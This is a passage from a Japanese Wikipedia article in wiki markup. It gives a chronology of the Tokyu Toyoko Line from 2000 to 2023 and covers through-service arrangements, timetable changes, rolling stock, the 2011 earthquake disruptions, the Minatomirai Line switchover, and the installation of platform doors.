** [[1月15日]] 3000系(2代)東横線での営業運転を終了。開業間近となる[[東急目黒線|目黒線]]に転属。
** [[3月30日]] 武蔵小杉駅 - 日吉駅間の複々線化工事に着手<ref name="Tokyu2000-3-8">{{PDFlink|[https://web.archive.org/web/20210205125748/https://www.tokyu.co.jp/file/000308.pdf 東横線武蔵小杉~日吉間線増工事に着手(東京急行電鉄ニューリリース)]}}(インターネットアーカイブ・2021年時点の版)</ref>。
** [[8月6日]] 多摩川園駅を多摩川駅に改称、同時に急行停車駅となる<ref>{{Cite press release|和書|url=https://www.tokyu.co.jp/file/000328.pdf|archiveurl=https://web.archive.org/web/20191029104951/https://www.tokyu.co.jp/file/000328.pdf|format=PDF|language=日本語|title=目蒲線の運行系統変更による線名変更などを実施 平成12年8月6日(日)から|publisher=東京急行電鉄|date=2000-03-28|accessdate=2020-05-01|archivedate=2019-10-29}}</ref><ref>{{Cite press release|和書|url=https://www.tokyu.co.jp/file/000714.pdf|archiveurl=https://web.archive.org/web/20150414174636/http://www.tokyu.co.jp/file/000714.pdf|format=PDF|language=日本語|title=8月6日(日)から運行開始の目黒線と東急多摩川線のダイヤを決定 併せて東横線、池上線のダイヤも改正|publisher=東京急行電鉄|date=2000-07-14|accessdate=2020-05-01|archivedate=2015-04-14}}</ref><ref group="注釈">分離された旧目蒲線区間のうち、東急多摩川線となった区間の利用者の東横線への乗り換え利便性確保のため。</ref>。目黒線が多摩川駅 - 武蔵小杉駅間の複々線のうち2線を使用開始。
* [[2001年]](平成13年)[[3月28日]] ダイヤ改正を実施し、[[#特急(東横特急)|特急]]の運転を開始<ref name="HOT2001-3">{{Cite press release |和書 |title=東横線に「特急」を新設 |publisher=東京急行電鉄株式会社 |date=2001-02-02 |url=https://www.tokyu.co.jp/file/010202.pdf |format=pdf |accessdate=2017-08-26 |archiveurl=https://web.archive.org/web/20150416034207/http://www.tokyu.co.jp/file/010202.pdf |archivedate=2015年4月16日}}</ref><ref name="交通2001206">{{Cite news |title=東急東横線に「特急」新設 |newspaper=交通新聞 |publisher=交通新聞社 |date=2001-02-06 |page=1 }}</ref>。同時に主に日中における日比谷線直通列車の本数を毎時4本から2本に削減。
* [[2002年]](平成14年)
** [[1月29日]] 営団13号線(現・[[東京メトロ副都心線]])との相互直通運転を決定<ref>{{Cite press release|和書|url=https://www.tokyu.co.jp/file/020129.pdf|format=PDF|language=日本語|title=東急東横線と営団13号線の相互直通運転実施を決定 |publisher=東京急行電鉄|date=2002-01-29}}</ref><ref>{{Cite press release|和書|url=http://www.tokyometro.go.jp/news/2002-02.html|archiveurl=https://web.archive.org/web/20040205111915/http://www.tokyometro.go.jp/news/2002-02.html|language=日本語|title=より便利な地下鉄を目指して 営団13号線・東急東横線相互直通運転を行います|publisher=営団地下鉄|date=2002-01-29|accessdate=2020-11-21|archivedate=2004-02-05}}</ref>。
** [[5月10日]] 営団13号線(現・東京メトロ副都心線)との相互直通運転化工事に着手すると発表<ref>{{Cite press release|和書|url=https://www.tokyu.co.jp/file/020510.pdf|format=PDF|language=日本語|title=2002年度の鉄軌道事業設備投資計画は総額364億円 |publisher=東京急行電鉄|date=2002-05-10}}</ref>。
* [[2003年]](平成15年)
** [[1月30日]] 横浜駅 - 桜木町駅間の鉄道事業廃止届出書を[[国土交通省]]に提出<ref name="pr20030130">{{Cite press release|和書|url=https://www.tokyu.co.jp/file/030130.pdf|archiveurl=https://web.archive.org/web/20150414235412/http://www.tokyu.co.jp/file/030130.pdf|format=PDF|language=日本語|title=東横線とみなとみらい21線との相互直通運転開始に伴う東横線横浜〜桜木町間の廃止について|publisher=東京急行電鉄|date=2003-01-30|accessdate=2020-05-01|archivedate=2015-04-14}}</ref>。
** [[3月19日]] ダイヤ改正を実施<ref name="pr20030124">{{Cite press release|和書|url=https://www.tokyu.co.jp/file/030124.pdf|archiveurl=https://web.archive.org/web/20180130204920/http://www.tokyu.co.jp/file/030124.pdf|format=PDF|language=日本語|title=2003年3月19日(水)、東急線全線のダイヤを改正します。東横線の平日の朝・夕に通勤特急を新設するほか、特急停車駅に中目黒を追加します。|publisher=東京急行電鉄|date=2003-01-24|accessdate=2020-05-01|archivedate=2018-01-30}}</ref>。中目黒駅が特急停車駅となる<ref name="pr20030124"/>。また、通勤時間帯(朝上り4本・夕方下り15本)に[[#通勤特急|通勤特急]]の運転を開始<ref name="pr20030124"/><ref name="JRC613">{{Cite journal|和書 |title = 2002年度 東急総決算 |date = 2003-11-01 |journal = RAIL FAN |issue = 11 |volume = 50 |publisher = 鉄道友の会 |page = 13 }}</ref>。
** [[7月9日]] [[横浜高速鉄道みなとみらい線]]との相互直通運転開始日が2004年2月1日に決定した<ref>{{Cite press release|和書|url=https://www.tokyu.co.jp/file/030709.pdf|format=PDF|language=日本語|title=みなとみらい21線の開業日・東急東横線との相互直通運転の開始日が決まりました|publisher=横浜高速鉄道/東京急行電鉄道|date=2003-07-09}}</ref><ref name="Minatomirai20030709">{{PDFlink|[https://web.archive.org/web/20031203022701/http://www.mm21railway.co.jp/www/pdf/p20030709a.PDF みなとみらい線の開業日の決定について]}}(横浜高速鉄道ニュースリリース・インターネットアーカイブ・2003年時点の版)</ref>。
* [[2004年]](平成16年)
** [[1月30日]] この日の終電で横浜駅 - 高島町駅 - 桜木町駅間(2.1km)の営業を終了(廃止は翌31日付け)<ref name="pr20030130"/>。
** [[1月31日]] 東白楽駅 - 横浜駅間を高架線から地下線に切り換え、反町駅と横浜駅が地下ホームとなる<ref name="Toyoko-Minatomirai2007">[https://web.archive.org/web/20070428174148/http://www.tokyu.co.jp/railway/railway/east/pr/mmsen.html みなとみらい線との相互直通運転に伴う 東急東横線地下化事業(東急電鉄)](インターネットアーカイブ・2007年時点の版)</ref>。当日は渋谷駅 - 横浜駅間のみ運転の臨時ダイヤ(みなとみらい線内は[[習熟運転|試運転]]を兼ねた[[回送]])で運転された。菊名駅 - 横浜駅間でATC-P使用開始。これにより東横線は全区間がATCとなった。
** 2月1日 横浜高速鉄道みなとみらい線との相互直通運転を開始<ref>{{Cite press release|和書|url=https://www.tokyu.co.jp/file/031127-1.pdf|archiveurl=https://web.archive.org/web/20150414235310/http://www.tokyu.co.jp/file/031127-1.pdf|format=PDF|language=日本語|title=みなとみらい線との相互直通運転開始に伴い2004年2月1日(日)、東横線のダイヤを改正します 渋谷〜横浜間の所要時間がさらに短縮、最短26分に|publisher=東京急行電鉄|date=2003-11-27|accessdate=2020-05-01|archivedate=2015-04-14}}</ref>。横浜高速鉄道Y500系の営業運転を開始。
** 4月1日 [[東急5000系電車 (2代)|5050系]]の営業運転を開始。
* [[2005年]](平成17年)
** [[2月10日]] 渋谷 - 横浜間改良工事が[[特定都市鉄道整備促進特別措置法|特定都市鉄道整備事業計画]]として認定<ref>{{Cite press release|和書|url=https://www.tokyu.co.jp/file/050210.pdf|format=PDF|language=日本語|title=特定都市鉄道整備事業計画の認定について|publisher=東急急行電鉄|date=2005-02-10}}</ref>。
** [[7月25日]] 平日の特急・通勤特急・急行の8号車が[[女性専用車両|女性専用車]]となる<ref name="tokyu20050713">{{Cite press release|和書|url=https://www.tokyu.co.jp/file/050713.pdf|format=PDF|language=日本語|title=2005年7月25日(月)から東横線、みなとみらい線に女性専用車両を導入します|publisher=東京急行電鉄/横浜高速鉄道|date=2005-07-13}}</ref>。
* [[2006年]](平成18年)
** [[7月18日]] 女性専用車の実施時間を平日の始発から10時までの上下列車と、17時以降に渋谷駅を発車する下り列車(元町・中華街方面行)に短縮し、設定車両を8号車から5号車に変更<ref name="tokyu20060718">{{Cite press release|和書|url=https://www.tokyu.co.jp/file/060628_3.pdf|format=PDF|language=日本語|title=7月18日(火)から東横線・みなとみらい線の女性専用車両の実施内容を変更します|publisher=東京急行電鉄/横浜高速鉄道|date=2006-06-28}}</ref>。
** [[9月24日]] 前日(23日)深夜より武蔵小杉駅 - 日吉駅間の高架化切り替え工事を実施し、元住吉駅が高架・橋上駅舎化。
** [[9月25日]] 元住吉駅付近の高架化に伴うダイヤ改正を実施。元住吉駅発着列車が始発および終電をのぞきすべて武蔵小杉駅発着となる。また、高架化と同時に元住吉検車区から日吉駅まで直接行ける下り出庫線が新設され、元町・中華街方面行の始発列車は日吉駅始発も多数設定されるようになった<ref group="注釈">逆に日吉駅から元住吉検車区へ入庫できる引き込み線などは存在せず、上り線からはすべて武蔵小杉駅で方向転換して同検車区へ入庫する。</ref>。
* [[2007年]](平成19年)[[8月23日]] 目黒線延伸に先立ち、日吉駅2・3番線および引き上げ線を目黒線用に転換する工事のための一時使用中止に伴うダイヤ改正を実施。それまでの日吉駅発着列車は菊名駅または武蔵小杉駅発着となり、日中の乗り入れ区間は日吉駅までであった日比谷線直通列車についても、この日から終日にわたり菊名駅まで延長され、日吉発着列車はほとんど消滅した<ref group="注釈">2020年3月14日改正ダイヤでは、土休日ダイヤにおける横浜0時15分発の各駅停車日吉行が存在するが、これは日吉駅まで客扱いをした後に元住吉駅まで回送となり、同駅上り通過線に夜間留置され、翌日の武蔵小杉駅始発の運用に就く。</ref>。また、日吉駅における[[緩急接続]]や通過待ちはすべて「元住吉駅での通過待ち」に変更となった。
* [[2008年]](平成20年)
** [[1月13日]] 東横線における8000系の営業運転を終了、臨時特急「さよなら8000系号」が運転される。
** [[6月14日]] 現在の渋谷駅(地下駅)が東京メトロ副都心線の駅として開業。開業時より東急が駅管理業務を実施。
** [[6月22日]] 目黒線が日吉駅まで延伸。これに合わせてダイヤ改正を実施し、同時に開業間もない[[横浜市営地下鉄グリーンライン]]との利便性を向上させるため、平日始発から9時台までと17時台以降の特急をすべて通勤特急に変更した。
* [[2009年]](平成21年)[[6月6日]] ダイヤ改正を実施。朝ラッシュ時間帯における日比谷線直通列車2本を各駅停車渋谷行に置き換え、土休日ダイヤにおいて18時台に特急元町・中華街行を1本増発。
* [[2011年]](平成23年)
** [[3月11日]] 14時46分に発生した[[東北地方太平洋沖地震]]([[東日本大震災]])により、東横線を含めた首都圏のほぼすべての路線が一時マヒ状態となり、終日ダイヤが混乱した。また、この日の運転再開後は主に[[帰宅困難者]]を救済する目的で乗り入れ先のみなとみらい線と共に[[終夜運転]]を実施した<ref>[http://www.city.yokohama.lg.jp/shobo/kikikanri/h2303jishin/hodo/08.html 平成23年3月11日横浜市内震度5強地震発生に伴う対応等について(第8報)]</ref>。この地震発生直後から日比谷線との相互直通運転が休止される。
** [[3月14日]] [[福島第一原子力発電所事故|福島第一原発事故]]など震災による発電所の停止を発端とする[[東日本大震災による電力危機|電力供給逼迫]]のため、[[東京電力]]が[[輪番停電|輪番停電(計画停電)]]を実施。東横線では主に武蔵小杉駅 - 横浜駅間において日中時間帯の運転を取り止め、運転する時間帯でも終日各駅停車で運転する措置が数日間行われた。その後、優等列車(特急・通勤特急・急行)の運転を再開したものの、ほどなくして全列車各駅停車での運転ならびに通常の8割程度の本数での運転を余儀なくされ、この状態は[[4月3日]]終電まで続いた。
** [[4月4日]] 始発から特急・通勤特急・急行の運転を全時間帯で再開。平日始発から9時頃までと平日16時頃から終電までは、ほぼ通常通りの本数で運転を行い、平日日中時間帯と土休日ダイヤについては“節電ダイヤ”として通常の8割程度の本数での運転となる。なお、日比谷線との相互直通運転は引き続き中止。
** [[4月25日]] 平日始発から9時頃までと平日16時頃から終電までの時間帯に限り、日比谷線との相互直通運転を再開。
** 7月1日 多くの企業において[[夏時間|サマータイム]]を導入していることを考慮し、平日ダイヤにおいて始発電車を4時台への繰り上げ・早朝に列車増発を実施。
** [[9月10日]] 電力使用制限令解除に伴い、全時間帯でほぼ通常通りの本数での運転を再開。日比谷線との相互直通運転が全面的に再開される。[[東急5000系電車 (2代)#5050系4000番台|5050系4000番台]]の営業運転を開始。
** [[9月22日]] この日をもって始発電車の繰り上げ・早朝の増発列車の運行を終了。これにより震災発生前のダイヤに完全に戻る。
** [[10月28日]] 乗り入れ先の東京地下鉄におけるダイヤ改正に伴い、東横線・目黒線においても一部列車の発着時刻を変更。
* [[2012年]](平成24年)
** 2月 東横線を含む東急全線で[[駅ナンバリング]]を導入。東横線の路線記号は「TY」<ref>{{Cite press release|和書|url=https://www.tokyu.co.jp/file/120126-1.pdf|format=PDF|language=日本語|title=東急線全駅で駅ナンバリングを導入します|publisher=東京急行電鉄|date=2012-01-26}}</ref>。
** [[7月11日]] 中目黒駅にホームドアが設置される<ref name="tokyu-release120711">{{Cite press release|和書|url=https://www.tokyu.co.jp/file/120711.pdf|language=日本語|title=東急東横線の中目黒駅にホームドアを設置します~ホーム上の安全対策に積極的に取り組んでいます~|publisher=東京急行電鉄|date=2012-07-11}}</ref>。以降、各駅に順次整備される。
** [[7月24日]] 東京メトロ副都心線との相互直通運転開始日が2013年3月16日に決定した<ref name="tokyu-release120724">{{cite press_release|和書|url=http://www.tokyu.co.jp/contents_index/guide/pdf/120724-1.pdf|title=東急東横線と東京メトロ副都心線 相互直通運転の開始日が2013年3月16日に決定!|publisher=東京急行電鉄|date=2012-07-24|accessdate=2012-07-24|format=PDF| archiveurl=https://web.archive.org/web/20140331144252/http://www.tokyu.co.jp/contents_index/guide/pdf/120724-1.pdf|archivedate=2014年3月31日|url-status-date=2017年10月}}</ref><ref name="metro-release120724">{{cite press_release|和書|url=http://www.tokyometro.jp/news/2012/pdf/20120724metronews_soutyoku.pdf|title=平成25年3月16日(土)から相互直通運転開始 副都心線と東急東横線・横浜高速みなとみらい線がつながります| publisher=東京地下鉄|date=2012-07-24|accessdate=2012-07-24|format=PDF}}</ref><ref name="tobu-release120724">{{cite press_release|和書|url=http://www.tobu.co.jp/file/pdf/9e67f9298f0c2a004a27615807b6cc25/120724.pdf|title=東武東上線がより便利に!自由が丘、横浜、元町・中華街方面とつながります!|publisher=東武鉄道|date=2012-07-24|accessdate=2012-07-24|format=PDF}}</ref><ref name="seibu-release120724">{{cite press_release|和書| url=http://www.seibu-group.co.jp/railways/news/news-release/2012/__icsFiles/afieldfile/2012/07/24/20120724soutyoku.pdf|title=池袋線が東急東横線、横浜高速みなとみらい線との相互直通運転を開始します。|publisher=西武鉄道|date=2012-07-24|accessdate=2012-07-24|format=PDF}}</ref>。
** [[9月7日]] 東京メトロ副都心線との相互直通運転開始に先立ち、東京メトロ10000系(先行運転は8両編成、副都心線相互直通運転開始後は10両編成)の営業運転を開始<ref name="railf.jp">[http://railf.jp/news/2012/09/08/210000.html 東京メトロ10000系が東横線・みなとみらい線で営業運転を開始] - 鉄道ファン・railf.jp 鉄道ニュース、2012年9月8日</ref>。
** [[9月28日]] 東京メトロ副都心線との相互直通運転開始に先立ち、東京メトロ7000系(先行運転は8両編成、副都心線相互直通運転開始後は10両編成)の営業運転を開始。
* [[2013年]](平成25年)
** [[3月15日]] 渋谷駅 - 代官山駅間で線路地下化切替工事を実施<ref>{{Cite press release|和書|url=https://www.tokyu.co.jp/file/130214-2.pdf|format=PDF|language=日本語|title=3月15日(金)終電後に渋谷~代官山間地下化切替工事を実施するため、 東横線渋谷行き上り最終列車の一部区間を運休します|publisher=東京急行電鉄|date=2013-02-14}}</ref>。渋谷駅(高架ホーム)が使用終了する。東横線における9000系、1000系、東京メトロ03系の営業運転を終了。
** 3月16日 10両編成の運行を開始。渋谷駅 - 代官山駅間を高架線から地下線に切り換え、渋谷駅が地下ホームとなり、東京メトロ副都心線との相互直通運転開始<ref name="tokyu20130122">{{Cite press release|和書|url=https://www.tokyu.co.jp/file/130122.pdf|format=PDF|language=日本語|title=東京メトロ副都心線との相互直通運転開始に伴い 3月16日(土)に東横線のダイヤを改正します|publisher=東京急行電鉄|date=2013-01-22}}</ref>。それに伴うダイヤ改正が実施され、副都心線経由で[[東武東上本線|東武東上線]]・[[西武有楽町線]]・[[西武池袋線]]との相互直通運転を開始する一方で、東京メトロ日比谷線との相互直通運転を終了。東武50070型・9000系・9050系および西武6000系の営業運転を開始。
** [[3月18日]] 女性専用車の実施時間を平日の始発から9時30分までの上下列車に短縮し、17時以降に渋谷駅を発車する下り列車(元町・中華街方面行)での実施を廃止し、設定車両を5号車から1号車に変更<ref name="tokyu20130122" />。
* [[2014年]](平成26年)[[2月15日]] 元住吉駅で[[日本の鉄道事故 (2000年以降)#東急東横線元住吉駅追突事故|列車同士の追突事故]]が発生。
* [[2016年]](平成28年)[[3月26日]] ダイヤ改正を実施。東横線で特急として運転される日中の東武東上線・西武池袋線 - 横浜高速みなとみらい線間の直通列車を「[[Fライナー]]」として運転を開始<ref name="tokyu20151218">{{Cite press release|和書|url=https://www.tokyu.co.jp/file/151218-1.pdf|format=PDF|language=日本語|title=東武東上線・西武池袋線~横浜高速みなとみらい線間を運転する速達性の高い直通列車の愛称名を『Fライナー』といたします。|publisher=東武鉄道/西武鉄道/東京地下鉄/東京急行電鉄/横浜高速鉄道|date=2015-12-18}}</ref><ref name="tokyu20160225">{{Cite press release|和書|url=https://www.tokyu.co.jp/file/160225-1.pdf|format=PDF|language=日本語|title=3月26日(土)、東急線全線でダイヤ改正を実施 列車の増発や運転区間・終電時刻の延長などにより、ますます便利に!|publisher=東京急行電鉄|date=2016-02-25}}</ref>。
* [[2017年]](平成29年)[[3月25日]] ダイヤ改正を実施。祐天寺駅通過線を新設。土休日に3本、[[座席指定席|有料座席指定列車]]「[[S-TRAIN]]」の運転を開始<ref name="tokyu20170110">{{Cite press release|和書|url=https://www.mm21railway.co.jp/info/news/uploads/20170110_press%20release.pdf|format=PDF|language=日本語|title=2017年3月25日(土)から「S-TRAIN」運行開始!|publisher=西武鉄道/東京地下鉄/東京急行電鉄/横浜高速鉄道|date=2017-01-10}}</ref><ref name="tokyu20170302">{{Cite press release|和書|url=https://www.tokyu.co.jp/file/170302.pdf|format=PDF|language=日本語|title=3月25日(土)に東横線・目黒線でダイヤ改正を実施 列車の増発や座席指定列車の運転開始などにより、ますます便利に!|publisher=東京急行電鉄|date=2017-03-02}}</ref>。「S-TRAIN」で[[西武秩父線]]との直通運転を開始。西武40000系の営業運転を開始。
* [[2020年]]([[令和]]2年)
** [[2月23日]] 白楽駅でのホームドア使用開始により、全駅での整備が完了<ref name="tokyu-release200318">{{Cite press release|和書|title=東横線・田園都市線・大井町線全64駅 ホームドア設置完了|publisher=東急電鉄|date=2020-03-18|url=https://www.tokyu.co.jp/image/news/pdf/20200318-1.pdf|format=PDF|language=日本語}}</ref>。
** [[7月31日]] 西武40000系50番台の営業運転を開始。
* [[2021年]](令和3年)
** [[2月24日]] 東京メトロ17000系(10両編成)の営業運転を開始。
** [[3月8日]] 東京メトロ7000系(10両編成)の営業運転を終了。
** [[5月2日]] 東京メトロ17000系(8両編成)の営業運転を開始。
* [[2022年]](令和4年)
** [[1月27日]] [[相鉄新横浜線]]との相互直通運転を決定<ref name="tokyu220127">{{Cite press release|和書|url=https://www.tokyu.co.jp/image/news/pdf/20220127-2.pdf|archiveurl=https://web.archive.org/web/20220215025051/https://www.tokyu.co.jp/image/news/pdf/20220127-2.pdf|format=PDF|language=日本語|title=2023年3月(予定)相鉄新横浜線・東急新横浜線開業!鉄道がもっと便利になります~神奈川県央地域及び横浜市西部から東京・埼玉に至る広域的な鉄道ネットワークの形成~|publisher=相模鉄道/東急電鉄/東京地下鉄/東京都交通局/埼玉高速鉄道/東武鉄道/西武鉄道|date=2022-01-27|accessdate=2022-02-15|archivedate=2022-02-15}}</ref><ref name="jrtt20220127">{{Cite press release|和書|url=https://www.jrtt.go.jp/corporate/public_relations/pdf/st-20220127.pdf|archiveurl=https://web.archive.org/web/20220127094219/https://www.jrtt.go.jp/corporate/public_relations/pdf/st-20220127.pdf|format=PDF|language=日本語|title=相鉄・東急直通線の工事等の状況及び開業予定時期について|publisher=独立行政法人鉄道建設・運輸施設整備支援機構/相模鉄道/東急電鉄|date=2022-01-27|accessdate=2022-01-27|archivedate=2022-01-27}}</ref>。
** [[4月18日]] 東京メトロ7000系(8両編成)の営業運転を終了。
** [[10月24日]] 5050系4000番台([[東急5000系電車 (2代)#Qシート車両|Qシート車両]])の営業運転を開始<ref name="tokyu20221021">{{PDFlink|[https://web.archive.org/web/20221224005951/https://www.tokyu.co.jp/image/information/pdf/221021_toyokoline_SEAT.pdf 【再掲】東横線におけるロング・クロス転換車両の導入について~一般車両としての運転開始日について~]}} - 東急電鉄お知らせリリース 2022年10月21日</ref>。
** 12月16日 相鉄新横浜線との相互直通運転開始日が2023年3月18日に決定した<ref name="jrtt-sotetsu-tokyu20221216">{{Cite press release|和書|url=https://www.tokyu.co.jp/image/news/pdf/20221216-1.pdf|archiveurl=https://web.archive.org/web/20221216064059/https://www.tokyu.co.jp/image/news/pdf/20221216-1.pdf|format=PDF|language=日本語|title=相鉄・東急直通線 開業日に関するお知らせ|publisher=相模鉄道/東急電鉄/鉄道建設・運輸施設整備支援機構|date=2022-12-16|accessdate=2022-12-16|archivedate=2022-12-16}}</ref><ref name="tokyu20221216">{{Cite press release|和書|url=https://www.tokyu.co.jp/image/news/pdf/20221216-2.pdf|archiveurl=https://web.archive.org/web/20221216070954/https://www.tokyu.co.jp/image/news/pdf/20221216-2.pdf|format=PDF|language=日本語|title=2023年3月18日(土)相鉄新横浜線・東急新横浜線開業に伴い形成される 広域鉄道ネットワークの直通運転形態および主な所要時間について|publisher=相模鉄道/東急電鉄/東京地下鉄/東京都交通局/埼玉高速鉄道/東武鉄道/西武鉄道|date=2022-12-16|accessdate=2022-12-16|archivedate=2022-12-16}}</ref><ref name="tokyu20221216-2">{{Cite press release|和書|url=https://www.tokyu.co.jp/image/news/pdf/20221216-3.pdf|format=PDF|language=日本語|title=2023年3月18日(土)東横線・目黒線・田園都市線など東急線6路線でダイヤ改正を実施~同日に東急新横浜線が開業します~|publisher=東急電鉄|date=2022-12-16}}</ref><ref name="sotetsu20221216">{{Cite press release|和書|url=https://cdn.sotetsu.co.jp/media/2022/pressrelease/pdf/r22-194-rcr.pdf|archiveurl=https://web.archive.org/web/20221217165451/https://cdn.sotetsu.co.jp/media/2022/pressrelease/pdf/r22-194-rcr.pdf|format=PDF|language=日本語|title=2023年3月18日(土)開業 相鉄・東急直通線 運行計画(運行区間・列車本数)のお知らせ |publisher=相模鉄道|date=2022-12-16|accessdate=2022-12-16|archivedate=2022-12-16}}</ref>。
* [[2023年]](令和5年)
** [[3月6日]] 駅のホームで鳴らしていた東横線の[[発車メロディ|発車サイン音]]を[[乗車促進音|車両から鳴らす方式]]に順次更新<ref name="tokyu20230224">{{Cite press release|和書|url=https://www.tokyu.co.jp/image/information/pdf/6cd233eaccf7622e89e1188fcc2e824ee4804e71.pdf|format=PDF|archiveurl=https://web.archive.org/web/20230224112018/https://www.tokyu.co.jp/image/information/pdf/6cd233eaccf7622e89e1188fcc2e824ee4804e71.pdf|language=日本語|title=2023年3月6日より順次、東横線の発車サイン音が変更になります。|publisher=東急電鉄|date=2023-02-24|accessdate=2023-02-24|archivedate=2023-02-24}}</ref>。
** 3月18日 [[東急新横浜線]]が開業し、同線経由で相鉄新横浜線・[[相鉄本線]]・[[相鉄いずみ野線]]との相互直通運転を開始<ref name="tokyu20221216-2" />。それに伴うダイヤ改正が実施され、[[ワンマン運転]]を開始<ref name="tokyu20221124">{{Cite press release|和書|url=https://www.tokyu.co.jp/image/news/pdf/20221124-1.pdf|format=PDF|language=日本語|title=2023年3月開業(予定)東急新横浜線の運行計画の概要について|publisher=東急電鉄|date=2022-11-24}}</ref>。相鉄20000系の営業運転を開始。
** [[8月10日]] 平日夜間の渋谷発みなとみらい線元町・中華街行き急行列車のうち5本で、有料座席指定サービス「[[#Qシート|Qシート]]」を開始<ref name="tokyu20221021" /><ref name="tokyu20230726">{{PDFlink|[https://web.archive.org/web/20230726132007/https://www.tokyu.co.jp/image/news/pdf/b537a57eb0f821158cbaaa5d9452040d413f8f51.pdf 2023年8月10日(木)より、東横線で有料座席指定サービス「Q SEAT」を開始します]}} - 東急電鉄お知らせリリース 2022年7月26日</ref>。
** [[8月21日]] 平日朝(7:20-8:50頃)の自由が丘駅(上り方面)での待避方法を交互発着に変更。これは待避線に次の各停を入線させると入線に時間がかかることから遅延防止のため、主本線で急行・通勤特急を待避する各停が設定される<ref name="tokyu20230807">{{PDFlink|[https://web.archive.org/web/20230807075448/https://www.tokyu.co.jp/image/information/pdf/b236641f8c8bcd8bf573f9ce77622941eef48db2.pdf 東横線自由が丘駅における平日朝ラッシュ時間帯、一部列車の発着番線変更について]}} - 東急電鉄お知らせリリース 2023年8月7日</ref><ref>{{Cite web|和書|url=https://trafficnews.jp/post/127444 |title=自由が丘駅で遅延解消の秘策「番線入れ替え」実施へ 「ホーム空いたら入れる」運行方式 東急東横線 |date=2023-08-09 |access-date=2023-08-10 |website=乗りものニュース |publisher=メディア・ヴァーグ}}</ref>。
** [[12月12日]] 東横線・目黒線全駅を含む東急全線で駅の自動改札機でクレジットカードのタッチ機能、QRコードを活用した乗車サービスの実証実験を開始<ref name="tokyu20231206">{{PDFlink|[https://www.tokyu.co.jp/image/information/pdf/20231206-1.pdf 「クレジットカードのタッチ機能」「QRコード」を活用した乗車サービスの実証実験を2023年12月12日(火)から東横線・目黒線全駅でも開始し、2024年1月中に東急線の全駅で実施します ]}} - 東急電鉄お知らせリリース 2023年12月6日</ref>。
<gallery perrow="5" caption="旧渋谷駅の最終日の様子 - 2013年3月15日">
東急東横線渋谷駅-1.JPG|入線する電車とファン
東急東横線渋谷駅-2.JPG|入線する電車を待つファン
東急東横線渋谷駅ー3.JPG|ホーム全体を見渡す
東急東横線渋谷駅ー5.JPG|東横線の渋谷高架駅舎全景
東急東横線渋谷駅ー4.JPG|地下化された渋谷駅ホーム
</gallery>
=== みなとみらい線開業関連 ===
2003年1月に東急が発表した報道発表資料においては、2004年1月30日終電をもって[[高島町駅]]および[[桜木町駅]]の営業を終了・廃止し、終電後から始発前までに[[東白楽駅]] - [[反町駅]]間において地下線に切り替え作業を実施し、翌31日からは乗務員の習熟訓練・営業運転開始に伴う機器調整等を行うため、渋谷駅 - 横浜駅間のみの区間運転を行い、[[横浜高速鉄道みなとみらい線]]の開業はその約1週間後を予定するとされていた。
ところが、みなとみらい線開業まで横浜から桜木町駅において[[代行バス]]を用意するよう[[国土交通省]]からの指示もあったことから、この区間運転期間を最小限に止めるため、同年7月に発表された報道発表資料では2月1日に開業するとされた。
そこで、発表された計画を一部変更し、開業3か月前の2003年11月上旬に横浜高速鉄道所属車両である[[横浜高速鉄道Y500系電車|Y500系]]1本(Y516編成)、東急からは[[東急9000系電車|9000系]]1本(9008F編成)を、長津田工場から東白楽駅付近に仮設された地下搬入線路までトレーラーで陸上輸送し、みなとみらい線内に搬入し、横浜駅 - 桜木町駅間の廃止前に反町駅 - 元町・中華街駅間での[[習熟運転]]を先行して実施した。このことは、一部の報道機関が取材に訪れるなど話題となった。これにより、桜木町駅営業終了から僅か1日置いた2月1日の開業にこぎ付けた。
予定通り1月30日の終電後に東白楽駅近くで線路地下化切り替え工事が行われ、翌1月31日からは反町駅、横浜駅は地下ホームとなった<ref name="Toyoko-Minatomirai2007" />。同日の臨時ダイヤでは、渋谷駅 - 横浜駅間のみの運行とし、横浜駅ですべての乗客を降ろした後、みなとみらい線内は最終訓練を兼ねて[[回送]]をするというダイヤが組まれた。
=== ホームドアの設置計画 ===
2011年(平成23年)1月25日付けで、[[国土交通省]]は鉄道事業者に対し[[ホームドア]]の設置計画の提出を求め、同年2月8日に公表された報道発表資料によると、東横線はすべての駅にホームドアを設置すると記されている<ref>[https://www.mlit.go.jp/report/press/tetsudo06_hh_000026.html 「平成23年度以降のホームドアの整備計画」の公表について]</ref>。この時公表された整備計画では具体的な設置時期については検討中としていたが、2015年1月9日に東急電鉄は2020年を目標に東横線内全駅の設置を目指すと発表<ref name="tokyu-release150109">{{Cite press_release|和書|url=https://www.tokyu.co.jp/file/150109-2-1-1-a.pdf|title=2020年を目標に東横線・田園都市線・大井町線の全64駅にホームドアを設置します|publisher=東京急行電鉄|date=2015-01-09|accessdate=2015-01-11}}</ref>。各駅での設置工事が順次行われ、2020年初頭に全駅でのホームドア整備が完了した<ref name="tokyu-release200318" />。
東横線でのホームドア設置にあたり、駅手前および駅構内に、自動的にブレーキを掛けてホームの定位置に列車を停止させるTASC([[定位置停止装置]])の地上子を設置しており、駅での停車時には、TASCによるブレーキが列車に掛かるようになっている。渋谷駅のホームドアについては2013年3月16日の副都心線への直通運転開始と同時に地下に新設されたホームに設置されている。
* 2013年(平成25年)度 - 中目黒駅(1番線、4番線)<ref name="tokyu-release120711" />、学芸大学駅に設置<ref>{{PDFlink|[https://www.tokyu.co.jp/file/130515-1.pdf 2013年度の鉄軌道事業設備投資計画 駅・高架橋の耐震補強やホームドア設置など、総額488億円]}} - 東京急行電鉄ニュースリリース 2013年5月15日</ref>。
* 2014年(平成26年)度 - 代官山駅、武蔵小杉駅<ref name="tokyu-release140219">{{Cite press_release|和書 | url=https://musashikosugi.blog.shinobi.jp/Entry/2561/ | title=東急東横線武蔵小杉駅生活交通改善事業計画について | publisher=東京急行電鉄 | date=2014-02-19 | accessdate=2014-02-19}}</ref>、横浜駅に設置<ref name="tokyu-release150109" />。
* 2015年(平成27年)度 - 都立大学駅、新丸子駅<ref name="tokyu-release150109" />、元住吉駅、大倉山駅、菊名駅下りホームに設置<ref>{{PDFlink|[http://www.tokyu.co.jp/file/150513-2.pdf 2015年度の鉄軌道事業設備投資計画 ホームドア設置や駅機能の向上などに総額482億円]}} - 東京急行電鉄ニュースリリース 2015年5月13日</ref>。
* 2016年(平成28年)度 - 日吉駅、菊名駅上りホームに設置<ref>{{PDFlink|[http://www.tokyu.co.jp/file/160513-1-22.pdf 2016年度の鉄軌道事業設備投資計画 車両新造のほかホームドア設置、駅改良工事に総額489億円]}} - 東京急行電鉄ニュースリリース 2016年5月13日</ref>。
